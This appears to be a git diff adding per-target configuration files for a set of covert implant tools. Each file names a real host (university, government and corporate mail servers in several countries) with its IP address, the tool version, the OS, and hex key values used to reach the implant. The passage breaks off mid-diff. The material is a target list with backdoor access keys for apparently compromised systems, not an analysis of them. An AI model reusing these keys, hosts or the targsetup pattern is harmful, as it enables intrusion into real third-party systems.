## JACKLADDER Version:2.0 OS:hppa1.1-hp-hpux10.20 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir.___80.191.2.2/incision b/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir.___80.191.2.2/incision new file mode 100644 index 0000000..1d8e76d --- /dev/null +++ b/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir.___80.191.2.2/incision @@ -0,0 +1,4 @@ +INTONATION___laleh.itrc.ac.ir___80.191.2.2___20030411-160713() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="61b44674 9ca936ab 524bb920" +} diff --git a/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir___80.191.2.2/orangutan b/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir___80.191.2.2/orangutan new file mode 100644 index 0000000..df1b299 --- /dev/null +++ b/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir___80.191.2.2/orangutan @@ -0,0 +1,4 @@ +INTONATION___laleh.itrc.ac.ir___80.191.2.2___20030411-160713() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="214f5885 d3caab58 8d749cc7" +} diff --git a/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir___80.191.2.2/reticulum b/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir___80.191.2.2/reticulum new file mode 100644 index 0000000..dad5815 --- /dev/null +++ b/Linux/bin/varkeys/intonation/laleh.itrc.ac.ir___80.191.2.2/reticulum @@ -0,0 +1,20 @@ +INTONATION___laleh.itrc.ac.ru___80.191.2.2___20030411-160713() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host laleh.itrc.ac.ir + set ip 80.191.2.2 + set hostType "Solaris27" + set len 476 + set cv0 59b0bb81 + set cv1 7fcf82df + set cv2 c422e4a4 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/m0-s.san.ru___88.147.128.28/dewdrop b/Linux/bin/varkeys/intonation/m0-s.san.ru___88.147.128.28/dewdrop new file mode 100644 index 0000000..4357c6d --- /dev/null +++ b/Linux/bin/varkeys/intonation/m0-s.san.ru___88.147.128.28/dewdrop @@ -0,0 +1,4 @@ +INTONATION___m0-s.san.ru___88.147.128.28___20061006-104756() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/m0-s.san.ru___88.147.128.28/stoicsurgeon b/Linux/bin/varkeys/intonation/m0-s.san.ru___88.147.128.28/stoicsurgeon new file mode 100644 index 0000000..6d9fa21 --- /dev/null +++ b/Linux/bin/varkeys/intonation/m0-s.san.ru___88.147.128.28/stoicsurgeon @@ -0,0 +1,4 @@ +INTONATION___m0-s.san.ru___88.147.128.28___20061006-104756() { + ## STOICSURGEON Version: OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/mail-gw.jbic.go.jp___210.155.61.54/reticulum b/Linux/bin/varkeys/intonation/mail-gw.jbic.go.jp___210.155.61.54/reticulum new file mode 100644 index 0000000..d1c1aeb --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail-gw.jbic.go.jp___210.155.61.54/reticulum @@ -0,0 +1,20 @@ +INTONATION___mail-gw.jbic.go.jp___210.155.61.54___20030423-123428() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host mail-gw.jbic.go.jp + set ip 210.155.61.54 + set hostType "Solaris26" + set len 476 + set cv0 156f29d7 + set cv1 2b1a72d7 + set cv2 005f3eac + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/incision b/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/incision new file mode 100644 index 0000000..702e7cf --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/incision @@ -0,0 +1,4 @@ +INTONATION___mail.bangla.net___203.188.252.3___20011023-135858 { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.6 + export TARG_AYT="6d8275f8 c5835609 f103e472" +} diff --git a/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/orangutan b/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/orangutan new file mode 100644 index 0000000..0c095da --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.bangla.net___203.188.252.3___20011023-135858 { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="b6283429 cd96950a 82eefbe3" +} diff --git a/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/reticulum b/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/reticulum new file mode 100644 index 0000000..2b0c184 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.bangla.net___203.188.252.3/reticulum @@ -0,0 +1,20 @@ +INTONATION___mail.bangla.net___203.188.252.3___20011023-135858 { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host mail.bangla.net + set ip 203.188.252.3 + set hostType "Solaris26" + set len 476 + set cv0 d635075e + set cv1 af570d4a + set cv2 0d1407ae + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/incision b/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/incision new file mode 100644 index 0000000..89d3673 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/incision @@ -0,0 +1,4 @@ +INTONATION___mail.edi.edu.cn___218.104.71.61___20030619-160701() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="8ffee519 2e38f356 a878d119" +} diff --git a/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/orangutan b/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/orangutan new file mode 100644 index 0000000..8ff9d77 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.edi.edu.cn___218.104.71.61___20030619-160701() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="7f39671a 8007d2fc 66b70b16" +} diff --git a/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/reticulum b/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/reticulum new file mode 100644 index 0000000..86c32f2 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.edi.edu.cn___218.104.71.61/reticulum @@ -0,0 +1,20 @@ +INTONATION___mail.edi.edu.cn___218.104.71.61___20030619-160701() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host mail.edi.edu.cn + set ip 218.104.71.61 + set hostType "Solaris27" + set len 476 + set cv0 7c2de6d5 + set cv1 ec7caee3 + set cv2 0b1777d6 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/incision b/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/incision new file mode 100644 index 0000000..991becc --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/incision @@ -0,0 +1,4 @@ +INTONATION___mail.hallym.ac.kr___210.115.225.25___20031204-110826() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="86f0747e 348f2a59 2b887cc7" +} diff --git a/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/orangutan b/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/orangutan new file mode 100644 index 0000000..8f0cf53 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.hallym.ac.kr___210.115.225.25___20031204-110826() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="faa5b7a2 14696dbf f55e6bfe" +} diff --git a/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/sidetrack b/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/sidetrack new file mode 100644 index 0000000..bbb5c14 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.hallym.ac.kr___210.115.225.25/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mail.hallym.ac.kr___210.115.225.25___20031204-110826() { + ## SIDETRACK Version:2.0 OS:sparc-sun-solaris2.8 + export CV="0c609fd0 876b0a14 bd6cba6b c18527ed" +} diff --git a/Linux/bin/varkeys/intonation/mail.hangzhouit.gov.cn___202.107.197.199/incision b/Linux/bin/varkeys/intonation/mail.hangzhouit.gov.cn___202.107.197.199/incision new file mode 100644 index 0000000..56b2fca --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.hangzhouit.gov.cn___202.107.197.199/incision @@ -0,0 +1,4 @@ +INTONATION___mail.hangzhouit.gov.cn___202.107.197.199___20050124-103318() { + ## INCISION Version:4.11.2 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="e544d069 6240e572 f86fb848" +} diff --git a/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/incision b/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/incision new file mode 100644 index 0000000..279f6f9 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/incision @@ -0,0 +1,4 @@ +INTONATION___mail.hz.zh.cn___202.101.172.6___20030806-135014() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="1a8c4bd0 3ae72d69 38da97b2" +} diff --git a/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/orangutan b/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/orangutan new file mode 100644 index 0000000..498d86f --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.hz.zh.cn___202.101.172.6___20030806-135014() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="0ac76441 ab6f3c89 ba4dca60" +} diff --git a/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/reticulum b/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/reticulum new file mode 100644 index 0000000..76bb99d --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.hz.zh.cn___202.101.172.6/reticulum @@ -0,0 +1,20 @@ +INTONATION___mail.hz.zh.cn___202.101.172.6___20030806-135014() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host mail.hz.zh.cn + set ip 202.101.172.6 + set hostType "Solaris27" + set len 476 + set cv0 a36cd525 + set cv1 09619ee7 + set cv2 ec86a1b2 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/mail.imamu.edu.sa___212.138.48.8/incision b/Linux/bin/varkeys/intonation/mail.imamu.edu.sa___212.138.48.8/incision new file mode 100644 index 0000000..a9a2e59 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.imamu.edu.sa___212.138.48.8/incision @@ -0,0 +1,5 @@ +INTONATION___mail.imamu.edu.sa___212.138.48.8___20021002-194811() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="057f2b44 02dbac88 a7cdcc70" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=600 +} diff --git a/Linux/bin/varkeys/intonation/mail.imamu.edu.sa___212.138.48.8/orangutan b/Linux/bin/varkeys/intonation/mail.imamu.edu.sa___212.138.48.8/orangutan new file mode 100644 index 0000000..bbaf821 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.imamu.edu.sa___212.138.48.8/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.imamu.edu.sa___212.138.48.8___20021002-194811() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="87f3b78a b06171ed af603e39" +} diff --git a/Linux/bin/varkeys/intonation/mail.interq.or.jp___210.157.0.87/jackladder b/Linux/bin/varkeys/intonation/mail.interq.or.jp___210.157.0.87/jackladder new file mode 100644 index 0000000..9fac917 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.interq.or.jp___210.157.0.87/jackladder @@ -0,0 +1,3 @@ +INTONATION___mail.interq.or.jp___210.157.0.87___20000824-112840() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/mail.ioc.ac.ru___193.233.3.6/orangutan b/Linux/bin/varkeys/intonation/mail.ioc.ac.ru___193.233.3.6/orangutan new file mode 100644 index 0000000..5ef71dd --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.ioc.ac.ru___193.233.3.6/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.ioc.ac.ru___193.233.3.6___20021212-171056() { + ## ORANGUTAN Version:1.4 OS:i386-pc-solaris2.8 + export CONFIG_KEYS="21336d0f 56f1631c f22b7c7e" +} diff --git a/Linux/bin/varkeys/intonation/mail.issas.ac.cn___159.226.121.1/dewdrop b/Linux/bin/varkeys/intonation/mail.issas.ac.cn___159.226.121.1/dewdrop new file mode 100644 index 0000000..b2e4be6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.issas.ac.cn___159.226.121.1/dewdrop @@ -0,0 +1,4 @@ +INTONATION___mail.issas.ac.cn___159.226.121.1___20070508-134944() { + ## DEWDROP Version:DEWDROP v2.0.3.2 sparc-sun-solaris OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/mail.issas.ac.cn___159.226.121.1/stoicsurgeon b/Linux/bin/varkeys/intonation/mail.issas.ac.cn___159.226.121.1/stoicsurgeon new file mode 100644 index 0000000..6f2e2df --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.issas.ac.cn___159.226.121.1/stoicsurgeon @@ -0,0 +1,4 @@ +INTONATION___mail.issas.ac.cn___159.226.121.1___20070508-134944() { + ## STOICSURGEON Version:STOICSURGEON v1.1.20.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/mail.siom.ac.cn___210.72.9.2/incision b/Linux/bin/varkeys/intonation/mail.siom.ac.cn___210.72.9.2/incision new file mode 100644 index 0000000..9b9897e --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.siom.ac.cn___210.72.9.2/incision @@ -0,0 +1,4 @@ +INTONATION___mail.siom.ac.cn___210.72.9.2___20040130-100754() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="c9d117fe 0627c192 232facf8" +} diff --git a/Linux/bin/varkeys/intonation/mail.siom.ac.cn___210.72.9.2/sidetrack b/Linux/bin/varkeys/intonation/mail.siom.ac.cn___210.72.9.2/sidetrack new file mode 100644 index 0000000..b446fa0 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.siom.ac.cn___210.72.9.2/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mail.siom.ac.cn___210.72.9.2___20040130-100754() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="3346cde2 8c293dd1 b2a73f76 d5290d69" +} diff --git a/Linux/bin/varkeys/intonation/mail.tropmet.res.in___203.199.143.2/incision b/Linux/bin/varkeys/intonation/mail.tropmet.res.in___203.199.143.2/incision new file mode 100644 index 0000000..bde6376 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.tropmet.res.in___203.199.143.2/incision @@ -0,0 +1,4 @@ +INTONATION___mail.tropmet.res.in___203.199.143.2___20061205-165032() { + ## INCISION Version:4.11.2.1 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="e8880256 5ab23bee edc0b76f" +} diff --git a/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/dewdrop b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/dewdrop new file mode 100644 index 0000000..0c84ce1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/dewdrop @@ -0,0 +1,4 @@ +INTONATION___mail.tsinghua.edu.cn___166.111.8.17___20070125-153203() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/incision b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/incision new file mode 100644 index 0000000..15643a1 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/incision @@ -0,0 +1,4 @@ +INTONATION___mail.tsinghua.edu.cn___166.111.8.17___20070125-153203() { + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="a2ee200f 10a539c7 822de499" +} diff --git a/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/jackladder b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/jackladder new file mode 100644 index 0000000..1895eb6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/jackladder @@ -0,0 +1,4 @@ +INTONATION___mail.tsinghua.edu.cn___166.111.8.17___20070125-153203() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/orangutan b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/orangutan new file mode 100644 index 0000000..b9abadf --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.tsinghua.edu.cn___166.111.8.17___20070125-153203() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="3d700cc3 cb518f93 9b43bd75" +} diff --git a/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/patchicillin b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/patchicillin new file mode 100644 index 0000000..cbf5e37 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.tsinghua.edu.cn___166.111.8.17/patchicillin @@ -0,0 +1,4 @@ +INTONATION___mail.tsinghua.edu.cn___166.111.8.17___20070125-153203() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.7 + export CV="c15f3504 ffb8bf25 75e5e869" +} diff --git a/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/incision b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/incision new file mode 100644 index 0000000..a4a5dbe --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/incision @@ -0,0 +1,4 @@ +INTONATION___mail.zzu.edu.cn___222.22.32.88___20050203-113356() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3ddb2dd5 9ae410c0 c26b2cf6" +} diff --git a/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/orangutan b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/orangutan new file mode 100644 index 0000000..d202af6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail.zzu.edu.cn___222.22.32.88___20050203-113356() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="9e85f449 4d688f75 22a06798" +} diff --git a/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/patchicillin b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/patchicillin new file mode 100644 index 0000000..eff6576 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/patchicillin @@ -0,0 +1,4 @@ +INTONATION___mail.zzu.edu.cn___222.22.32.88___20050203-113356() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="fba44a5f 754b08f6 7cc77c45" +} diff --git a/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/sidetrack b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/sidetrack new file mode 100644 index 0000000..36cf394 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail.zzu.edu.cn___222.22.32.88/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mail.zzu.edu.cn___222.22.32.88___20050203-113356() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="b7dcaa08 f9854202 0f3c4142 98732f90" +} diff --git a/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/incision b/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/incision new file mode 100644 index 0000000..a483495 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/incision @@ -0,0 +1,4 @@ +INTONATION___mail1.371.net___218.29.0.195___20021219-153821() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="d3b68be6 cad0d93d 99dbbf17" +} diff --git a/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/orangutan b/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/orangutan new file mode 100644 index 0000000..c743f04 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/orangutan @@ -0,0 +1,4 @@ +INTONATION___mail1.371.net___218.29.0.195___20021219-153821() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="d700c493 8f065ed7 648d512b" +} diff --git a/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/reticulum b/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/reticulum new file mode 100644 index 0000000..7804b0f --- /dev/null +++ b/Linux/bin/varkeys/intonation/mail1.371.net___218.29.0.195/reticulum @@ -0,0 +1,20 @@ +INTONATION___mail1.371.net___218.29.0.195___20021219-153821() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host mail1.371.net + set ip 218.29.0.195 + set hostType "Solaris27" + set len 476 + set cv0 0fb9eb37 + set cv1 3d9ae56d + set cv2 18ecac3e + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/intonation/mailgate.sbell.com.cn___202.96.203.173/jackladder b/Linux/bin/varkeys/intonation/mailgate.sbell.com.cn___202.96.203.173/jackladder new file mode 100644 index 0000000..2b1605e --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailgate.sbell.com.cn___202.96.203.173/jackladder @@ -0,0 +1,3 @@ +INTONATION___mailgate.sbell.com.cn___202.96.203.173___20001107-133342() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 +} diff --git a/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/incision b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/incision new file mode 100644 index 0000000..7212934 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/incision @@ -0,0 +1,4 @@ +INTONATION___mailgw.thtf.com.cn___218.107.133.12___20050506-111956() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="d6dd2c7c 27aaf4fb 1bbea7af" +} diff --git a/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/orangutan b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/orangutan new file mode 100644 index 0000000..32dc920 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/orangutan @@ -0,0 +1,4 @@ +INTONATION___mailgw.thtf.com.cn___218.107.133.12___20050506-111956() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="498c58eb 3cb00dd4 ffb3176a" +} diff --git a/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/patchicillin b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/patchicillin new file mode 100644 index 0000000..73c3aec --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/patchicillin @@ -0,0 +1,4 @@ +INTONATION___mailgw.thtf.com.cn___218.107.133.12___20050506-111956() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.7 + export CV="2c435069 353580bb 316c54c0" +} diff --git a/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/sidetrack b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/sidetrack new file mode 100644 index 0000000..94a637c --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailgw.thtf.com.cn___218.107.133.12/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mailgw.thtf.com.cn___218.107.133.12___20050506-111956() { + ## SIDETRACK Version:1.1 OS:sparc-sun-solaris2.7 + export CV="624edfcc dacb1cde 4db92e44" +} diff --git a/Linux/bin/varkeys/intonation/mailhub.minaffet.gov.rw___62.56.174.152/incision b/Linux/bin/varkeys/intonation/mailhub.minaffet.gov.rw___62.56.174.152/incision new file mode 100644 index 0000000..6987ee6 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailhub.minaffet.gov.rw___62.56.174.152/incision @@ -0,0 +1,4 @@ +INTONATION___mailhub.minaffet.gov.rw___62.56.174.152___20030123-190431() { + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="7a5129ae 352d9fec 27198c00" +} diff --git a/Linux/bin/varkeys/intonation/mailhub.minaffet.gov.rw___62.56.174.152/orangutan b/Linux/bin/varkeys/intonation/mailhub.minaffet.gov.rw___62.56.174.152/orangutan new file mode 100644 index 0000000..c935255 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mailhub.minaffet.gov.rw___62.56.174.152/orangutan @@ -0,0 +1,4 @@ +INTONATION___mailhub.minaffet.gov.rw___62.56.174.152___20030123-190431() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="6ef4d984 8a7d0830 8a19b59d" +} diff --git a/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/incision b/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/incision new file mode 100644 index 0000000..176a4b7 --- /dev/null +++ b/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/incision @@ -0,0 +1,4 @@ +INTONATION___mails.cneic.com.cn___218.247.159.113___20040506-152938() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="f1383417 fae9919f 7211d56d" +} diff --git a/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/orangutan b/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/orangutan new file mode 100644 index 0000000..0b5103d --- /dev/null +++ b/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/orangutan @@ -0,0 +1,4 @@ +INTONATION___mails.cneic.com.cn___218.247.159.113___20040506-152938() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="58416082 0dd75499 f60bdb8b" +} diff --git a/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/sidetrack b/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/sidetrack new file mode 100644 index 0000000..b45477d --- /dev/null +++ b/Linux/bin/varkeys/intonation/mails.cneic.com.cn___218.247.159.113/sidetrack @@ -0,0 +1,4 @@ +INTONATION___mails.cneic.com.cn___218.247.159.113___20040506-152938() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="56b1ffa9 9eb07bea f1740f21 dd2cc967" +} diff --git a/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/incision b/Linux/bin/varkeys/intonation/mailscan3.cau.ctm.net___202.175.36.180/incision new file mode 100644 index 0000000..7888925 --- /dev/null +++ 